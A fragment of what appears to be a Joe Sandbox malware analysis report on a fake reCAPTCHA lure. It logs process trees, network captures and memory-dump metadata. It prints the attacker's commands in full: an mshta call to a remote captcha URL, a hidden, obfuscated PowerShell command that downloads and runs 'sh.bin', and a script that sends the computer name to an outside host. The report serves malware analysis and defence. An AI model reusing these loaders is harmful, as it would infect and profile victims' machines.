2025-01-10 19:51:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.17	49826	185.161.251.21	443	5932	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:51:25 UTC	201	OUT	GET /8574262446/ph.txt HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: cegu.shop
2025-01-10 19:51:25 UTC	249	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Fri, 10 Jan 2025 19:51:25 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 329 Last-Modified: Thu, 26 Dec 2024 00:07:06 GMT Connection: close ETag: "676c9e2a-149" Accept-Ranges: bytes
2025-01-10 19:51:25 UTC	329	IN	Data Raw: 5b 4e 65 74 2e 73 65 72 76 69 63 65 70 4f 49 4e 54 6d 41 4e 61 47 65 72 5d 3a 3a 53 45 63 55 52 69 54 79 50 72 4f 74 6f 43 4f 6c 20 3d 20 5b 4e 65 74 2e 53 65 63 55 72 69 54 79 70 72 4f 74 6f 63 6f 6c 74 59 50 65 5d 3a 3a 74 4c 73 31 32 3b 20 24 67 44 3d 27 68 74 74 70 73 3a 2f 2f 64 66 67 68 2e 6f 6e 6c 69 6e 65 2f 69 6e 76 6f 6b 65 72 2e 70 68 70 3f 63 6f 6d 70 4e 61 6d 65 3d 27 2b 24 65 6e 76 3a 63 6f 6d 70 75 74 65 72 6e 61 6d 65 3b 20 24 70 54 53 72 20 3d 20 69 57 72 20 2d 75 52 69 20 24 67 44 20 2d 75 53 65 62 41 53 49 63 70 41 52 73 69 4e 67 20 2d 55 73 45 72 41 47 65 6e 74 20 27 4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 57 69 6e 64 6f 77 73 20 4e 54 20 31 30 2e 30 3b 20 57 69 6e 36 34 3b 20 78 36 34 29 20 41 70 70 6c 65 57 65 62 4b 69 74 2f 35 37 2e Data Ascii: [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.

Target ID:	0
Start time:	14:49:25
Start date:	10/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff7d6f10000
File size:	3'242'272 bytes
MD5 hash:	83395EAB5B03DEA9720F8D7AC0D15CAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	14:49:25
Start date:	10/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2200 --field-trial-handle=1944,i,6179570645795824740,2383523467287587005,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff7d6f10000
File size:	3'242'272 bytes
MD5 hash:	83395EAB5B03DEA9720F8D7AC0D15CAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	14:49:26
Start date:	10/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://patiooutletmaipu.cl/tiendas/head/"
Imagebase:	0x7ff7d6f10000
File size:	3'242'272 bytes
MD5 hash:	83395EAB5B03DEA9720F8D7AC0D15CAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	14:49:51
Start date:	10/01/2025
Path:	C:\Windows\System32\mshta.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\mshta.exe" https://solve.bogx.org/awjsx.captcha?u=94e37336-e4b6-4f92-a196-add1c5c06323 # ? ''I am not a robot - reCAPTCHA Verification ID: 9977''
Imagebase:	0x7ff7cef10000
File size:	14'848 bytes
MD5 hash:	0B4340ED812DC82CE636C00FA5C9BEF2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	14:49:58
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -Enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAtAHcAJwAsACcAaABpAGQAZABlAG4AJwAsACcALQBlAHAAJwAsACcAYgB5AHAAYQBzAHMAJwAsACcALQBuAG8AcAAnACwAJwAtAEMAbwBtAG0AYQBuAGQAJwAsACcAZwBkAHIAIAAtACoAOwBTAGUAdAAtAFYAYQByAGkAYQBiAGwAZQAgAEMAaQBVACAAKAAuACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AKAAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAHwATQBlAG0AYgBlAHIAfABXAGgAZQByAGUALQBPAGIAagBlAGMAdAB7ACQAXwAuAE4AYQBtAGUALQBsAGkAawBlACcAJwAqAHQAKgBvAG0AKgBkACcAJwB9ACkALgBOAGEAbQBlACkALgBJAG4AdgBvAGsAZQAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AKAAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AUABzAE8AYgBqAGUAYwB0AC4ATQBlAHQAaABvAGQAcwB8AFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0AHsAJABfAC4ATgBhAG0AZQAtAGwAaQBrAGUAJwAnACoAbwBtACoAZQAnACcAfQApAC4ATgBhAG0AZQApAC4ASQBuAHYAbwBrAGUAKAAnACcATgAqAC0ATwAqACcAJwAsACQAVABSAFUARQAsACQAVABSAFUARQApACwAWwBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEMAbwBtAG0AYQBuAGQAVAB5AHAAZQBzAF0AOgA6AEMAbQBkAGwAZQB0ACkATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApADsAUwBlAHQALQBJAHQAZQBtACAAVgBhAHIAaQBhAGIAbABlADoALwBsAFcAIAAnACcAaAB0AHQAcABzADoALwAvAGQAMQAuAGUAeABwAGwAbwByAGUAZABhAGkAcgB5AGEAcAB0AGkAdAB1AGQAZQAuAHMAaABvAHAALwBzAGgALgBiAGkAbgAnACcAOwBbAFMAYwByAGkAcAB0AEIAbABvAGMAawBdADoAOgBDAHIAZQBhAHQAZQAoACgARwBJACAAVgBhAHIAaQBhAGIAbABlADoAQwBpAFUAKQAuAFYAYQBsAHUAZQAuACgAKAAoACgARwBJACAAVgBhAHIAaQBhAGIAbABlADoAQwBpAFUAKQAuAFYAYQBsAHUAZQB8AE0AZQBtAGIAZQByACkAfABXAGgAZQByAGUALQBPAGIAagBlAGMAdAB7ACQAXwAuAE4AYQBtAGUALQBsAGkAawBlACcAJwAqAG4AbAAqAGcAJwAnAH0AKQAuAE4AYQBtAGUAKQAuAEkAbgB2AG8AawBlACgAKABWAGEAcgBpAGEAYgBsAGUAIABsAFcAKQAuAFYAYQBsAHUAZQApACkALgBJAG4AdgBvAGsAZQBSAGUAdAB1AHIAbgBBAHMASQBzACgAKQAnAA==
Imagebase:	0x7ff711290000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	14:49:58
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff772470000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	14:50:01
Start date:	10/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command gdr -;Set-Variable CiU (.$ExecutionContext.(($ExecutionContext\|Member)[6].Name).(($ExecutionContext.(($ExecutionContext\|Member)[6].Name)\|Member\|Where-Object{$_.Name-like'tomd'}).Name).Invoke($ExecutionContext.(($ExecutionContext\|Member)[6].Name).(($ExecutionContext.(($ExecutionContext\|Member)[6].Name).PsObject.Methods\|Where-Object{$_.Name-like'ome'}).Name).Invoke('N-O',$TRUE,$TRUE),[Management.Automation.CommandTypes]::Cmdlet)Net.WebClient);Set-Item Variable:/lW 'https://d1.exploredairyaptitude.shop/sh.bin';[ScriptBlock]::Create((GI Variable:CiU).Value.((((GI Variable:CiU).Value\|Member)\|Where-Object{$_.Name-like'nlg'}).Name).Invoke((Variable lW).Value)).InvokeReturnAsIs()
Imagebase:	0xdd0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000014.00000002.2215255355.0000000009330000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	14:50:01
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff772470000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	30
Start time:	14:51:13
Start date:	10/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe"
Imagebase:	0xdd0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Function 0000021B99770106 Relevance: .1, Instructions: 135COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000003.1426419400.0000021B99770000.00000010.00000800.00020000.00000000.sdmp, Offset: 0000021B99770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_3_21b99770000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca73f7e1bcd071c2e80d12c962b68ed6da50e55ce2ea5201badb894b1f3ceef8
Instruction ID: 286b961e09d620f98ce83138b90c4bed9a66a1bfa4f44196d4e12733ba387592
Opcode Fuzzy Hash: ca73f7e1bcd071c2e80d12c962b68ed6da50e55ce2ea5201badb894b1f3ceef8
Instruction Fuzzy Hash: EE41053221DB884FEBC6CE6C8459B683BE0DF6E340B4509DBC945CF1B2DA159C858751

Function 0000021B98E80FA9 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000003.1426452213.0000021B98E80000.00000010.00000800.00020000.00000000.sdmp, Offset: 0000021B98E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_3_21b98e80000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0901e968e2741f1c925d864470624e459c39a6dd1a3a093616f0dca7dc7d249
Instruction ID: 48de85726b67b57f8acc169e1e2183340c74c657bda1c311b9da4fb4ab69078e
Opcode Fuzzy Hash: e0901e968e2741f1c925d864470624e459c39a6dd1a3a093616f0dca7dc7d249
Instruction Fuzzy Hash: 5490021449980A55D81612911C5929C50506798150FD484A04916D0144D55D06971552

Function 0000021B98E80F89 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000003.1426452213.0000021B98E80000.00000010.00000800.00020000.00000000.sdmp, Offset: 0000021B98E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_3_21b98e80000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0901e968e2741f1c925d864470624e459c39a6dd1a3a093616f0dca7dc7d249
Instruction ID: 48de85726b67b57f8acc169e1e2183340c74c657bda1c311b9da4fb4ab69078e
Opcode Fuzzy Hash: e0901e968e2741f1c925d864470624e459c39a6dd1a3a093616f0dca7dc7d249
Instruction Fuzzy Hash: 5490021449980A55D81612911C5929C50506798150FD484A04916D0144D55D06971552

Function 0000021B98E80F99 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000003.1426452213.0000021B98E80000.00000010.00000800.00020000.00000000.sdmp, Offset: 0000021B98E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_3_21b98e80000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0901e968e2741f1c925d864470624e459c39a6dd1a3a093616f0dca7dc7d249
Instruction ID: 48de85726b67b57f8acc169e1e2183340c74c657bda1c311b9da4fb4ab69078e
Opcode Fuzzy Hash: e0901e968e2741f1c925d864470624e459c39a6dd1a3a093616f0dca7dc7d249
Instruction Fuzzy Hash: 5490021449980A55D81612911C5929C50506798150FD484A04916D0144D55D06971552

Function 0000021B98E80F79 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000003.1426452213.0000021B98E80000.00000010.00000800.00020000.00000000.sdmp, Offset: 0000021B98E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_3_21b98e80000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0901e968e2741f1c925d864470624e459c39a6dd1a3a093616f0dca7dc7d249
Instruction ID: 48de85726b67b57f8acc169e1e2183340c74c657bda1c311b9da4fb4ab69078e
Opcode Fuzzy Hash: e0901e968e2741f1c925d864470624e459c39a6dd1a3a093616f0dca7dc7d249
Instruction Fuzzy Hash: 5490021449980A55D81612911C5929C50506798150FD484A04916D0144D55D06971552

Function 0000021B98E80FC1 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000003.1426452213.0000021B98E80000.00000010.00000800.00020000.00000000.sdmp, Offset: 0000021B98E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_3_21b98e80000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0901e968e2741f1c925d864470624e459c39a6dd1a3a093616f0dca7dc7d249
Instruction ID: 48de85726b67b57f8acc169e1e2183340c74c657bda1c311b9da4fb4ab69078e
Opcode Fuzzy Hash: e0901e968e2741f1c925d864470624e459c39a6dd1a3a093616f0dca7dc7d249
Instruction Fuzzy Hash: 5490021449980A55D81612911C5929C50506798150FD484A04916D0144D55D06971552

Analysis Process: powershell.exePID: 7936, Parent PID: 7780COMMON

Execution Graph

Execution Coverage:	3.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	11
Total number of Limit Nodes:	1

Executed Functions

Function 00007FF9BA8E11D8 Relevance: 3.1, Strings: 2, Instructions: 632
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

2O_I, xrefs: 00007FF9BA8E14A4
3O_I, xrefs: 00007FF9BA8E13A4

Memory Dump Source

Source File: 00000012.00000002.1413321694.00007FF9BA8E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9BA8E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff9ba8e0000_powershell.jbxd

Similarity

API ID:
String ID: 2O_I$3O_I
API String ID: 0-1954759320
Opcode ID: 14d592620ab21c4f9f3560e81bd1d30f254cf0601345603c8ba926357846c72b
Instruction ID: 2eadfc9f29e09a69b606e93fe890e94eaa2455444efde683d7ac5024da1fbe40
Opcode Fuzzy Hash: 14d592620ab21c4f9f3560e81bd1d30f254cf0601345603c8ba926357846c72b
Instruction Fuzzy Hash: 9322F332E0EAC14BE36ACB6C68153B96E91FFA5720B4801FBC58CC75DBD958AE058341

Function 00007FF9BA8E2C19 Relevance: 1.7, APIs: 1, Instructions: 161
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNELBASE ref: 00007FF9BA8FCC3F

Memory Dump Source

Source File: 00000012.00000002.1413321694.00007FF9BA8E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9BA8E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff9ba8e0000_powershell.jbxd

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: c8e9d848fbcd8bb897cb75778df918ca05789f78537a19ce073cf472c52e1ba9
Instruction ID: 1808b2f0ec82d552988c714a32f903a0f24a4e419cee17613e9fd862908c197a
Opcode Fuzzy Hash: c8e9d848fbcd8bb897cb75778df918ca05789f78537a19ce073cf472c52e1ba9
Instruction Fuzzy Hash: 8B41337180CB894FE759DB2C88556F97FE0EF56320F0402ABD088D7592EA696546C782

Function 00007FF9BAF14EAD Relevance: .9, Instructions: 883COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.1423130114.00007FF9BAF10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9BAF10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff9baf10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00bece31c709a2268cc2e6610265418a0ef3d981a31bbd822cc9db30d592ce3c
Instruction ID: 5627ab7ae3e26aea25f4656eb487f444b8ab1645e762a9cc05793de1e2cf989c
Opcode Fuzzy Hash: 00bece31c709a2268cc2e6610265418a0ef3d981a31bbd822cc9db30d592ce3c
Instruction Fuzzy Hash: E7521E30A1CA8A4FEB58EB2D84517B6B7D1EFA5315F5001BDD98EC71C2DE68B942C780

Function 00007FF9BAD9E799 Relevance: .6, Instructions: 571
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000012.00000002.1420439628.00007FF9BAD80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9BAD80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff9bad80000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8bfa011c1fa567447d69b286a6c895c331ce2cfbf1048fc7344be4e96c9abc4
Instruction ID: 389ed8f182fb556282827af944b12d065a7f42f29e8ee078abf8dc621fd4f595
Opcode Fuzzy Hash: b8bfa011c1fa567447d69b286a6c895c331ce2cfbf1048fc7344be4e96c9abc4
Instruction Fuzzy Hash: 1102BE31A0CA4A4BEB98DF2D84997B977E1EF99314F0400BDD94EC72C6DE68E946C740

Function 00007FF9BA8E7D8C Relevance: 1.6, APIs: 1, Instructions: 111
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesW.KERNELBASE ref: 00007FF9BA8E7E37

Memory Dump Source

Source File: 00000012.00000002.1413321694.00007FF9BA8E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9BA8E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff9ba8e0000_powershell.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 6a4523ea81ea242ccf33490639e099c919697b3a9dd25911f511904b25212a4f
Instruction ID: 9fbbf5d61600528d1bdadc5a6a2d7fc35668311a2c6cb77802fd59128062148b
Opcode Fuzzy Hash: 6a4523ea81ea242ccf33490639e099c919697b3a9dd25911f511904b25212a4f
Instruction Fuzzy Hash: 4C31E33090CA4C8FDB19DB6C8849AE9BBF1EF56320F04826BD009D3592DB746816CB91

Function 00007FF9BB046A6E Relevance: 1.1, Instructions: 1144
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000012.00000002.1425150371.00007FF9BB040000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9BB040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff9bb040000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a8acf18602cec988e3aee86347d1a2a913c01bbe9002b022c86a272c6e6eebe
Instruction ID: 55aa4323def488970aa6ec11e757ce2e370985f982e42a84b991617c8fbd48e5
Opcode Fuzzy Hash: 3a8acf18602cec988e3aee86347d1a2a913c01bbe9002b022c86a272c6e6eebe
Instruction Fuzzy Hash: DE825730A18A498FEB98EF2CC854BB877E1FF99304F4440A9D54DD72A6DE74B985CB40

Function 00007FF9BB047D2D Relevance: .5, Instructions: 510
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000012.00000002.1425150371.00007FF9BB040000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9BB040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff9bb040000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f68c35941ebec7c5e7b5e495023b07bf438ed38bd5e6dff33f2873bc43a8b70
Instruction ID: 618fc784a01cbc456246df548d677fc37b31cb86d8111e2fea1b1911e9f53e30
Opcode Fuzzy Hash: 6f68c35941ebec7c5e7b5e495023b07bf438ed38bd5e6dff33f2873bc43a8b70
Instruction Fuzzy Hash: D8F19D30A18A498FDB98DF2CC455BB97BE1FF59350F0441BAD54ED32E6DE68A841CB80

Function 00007FF9BB0452D6 Relevance: .3, Instructions: 343COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.1425150371.00007FF9BB040000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9BB040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff9bb040000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71e998dcec14655680aa46868446dda51aad029d41004870e4ca514d3c65d4bb
Instruction ID: c9944750755368f45facb2c65ee4bb5dd2ed7904b2ae0b0f0fd93e9ea4fe3bd5
Opcode Fuzzy Hash: 71e998dcec14655680aa46868446dda51aad029d41004870e4ca514d3c65d4bb
Instruction Fuzzy Hash: ADA17B2290CB8A0FE359DB2C94552B57BE1FF95214F0841BFC58DC72E6DD9CB9068781

Function 00007FF9BB042D30 Relevance: .3, Instructions: 314COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.1425150371.00007FF9BB040000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9BB040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff9bb040000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9e1449b73a7037723db85c89f51ffc996581c2bc1d05665098a886def327f9e
Instruction ID: e30afa7d016f65b4b3a3635921e523e50c919bc369adab436a715c5287c12d59
Opcode Fuzzy Hash: b9e1449b73a7037723db85c89f51ffc996581c2bc1d05665098a886def327f9e
Instruction Fuzzy Hash: E1A1B53290DB965FE312EF6CA4952F57FE0EF06228B0940BED08CCB1E7D99878458B45

Function 00007FF9BB04E479 Relevance: .3, Instructions: 291COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.1425150371.00007FF9BB040000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9BB040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff9bb040000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 763e7efecfc6488588bb9a1d92d0f394ace8963549e9c0e336d734ef13fc9ee2
Instruction ID: 9ae5e756e840e010432c80d8228753c7702dc062cdb3839bff5048f17fb7bbd4
Opcode Fuzzy Hash: 763e7efecfc6488588bb9a1d92d0f394ace8963549e9c0e336d734ef13fc9ee2
Instruction Fuzzy Hash: 5C81C230B0CA494FE758E73C98053B977D2EF9A321F4041BEE94DC72D7DD69A9428681

Function 00007FF9BAB40ECA Relevance: .2, Instructions: 225COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.1416911236.00007FF9BAB40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9BAB40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff9bab40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f4e1dfb63dd8afc0ec5708690bbb7b29acb60a2ead40328624cf180f72c4be1
Instruction ID: a46c4d05faa44c4eb69b885646f00798e980cbf66d929432dc8b889a90d4ff4b
Opcode Fuzzy Hash: 7f4e1dfb63dd8afc0ec5708690bbb7b29acb60a2ead40328624cf180f72c4be1
Instruction Fuzzy Hash: 5F713376E08A590BE714EB3C98957EE7BE0EF49324F0541BAD54DC71C2DE28B846CB80

Function 00007FF9BAF15240 Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.1423130114.00007FF9BAF10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9BAF10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff9baf10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b9b17ee9636cf55533cddee1b075651eb6e15719b84d6913ef62e24cbcdf97e
Instruction ID: dbd279b05ca167ab805d399ffdf454237e63ad9cdabe1486e7f9ddf49e69069e
Opcode Fuzzy Hash: 3b9b17ee9636cf55533cddee1b075651eb6e15719b84d6913ef62e24cbcdf97e
Instruction Fuzzy Hash: 60317F30A1CB494BEB58EF1C9445A6AB7E1FFA8304F404A7DE84EC32D6DE64F8458B41

Function 00007FF9BB048996 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.1425150371.00007FF9BB040000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9BB040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff9bb040000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2e99ca1f2ec435ee21b3cbd2ef2e7cd390c89c4854b51000a788d9e6dffacea
Instruction ID: 87caec54b7f9cfcdce4f7ae4e2e0db97a4aa7836dd426cec0ab88cc5b7d4ba21
Opcode Fuzzy Hash: f2e99ca1f2ec435ee21b3cbd2ef2e7cd390c89c4854b51000a788d9e6dffacea
Instruction Fuzzy Hash: EC11046190DBC94FD7A29F6898596A27FF0EE57220B0801EBD548CB0A3D9599809C782

Function 00007FF9BB045570 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.1425150371.00007FF9BB040000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9BB040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff9bb040000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1355dc1c92b21a8fe5f928af03b705ca4c27fb22cb13547448f8768c28b13571
Instruction ID: 53de69edad6266889cd1829a1e19e961d31fae9dc02f378932c00848669b8bb9
Opcode Fuzzy Hash: 1355dc1c92b21a8fe5f928af03b705ca4c27fb22cb13547448f8768c28b13571
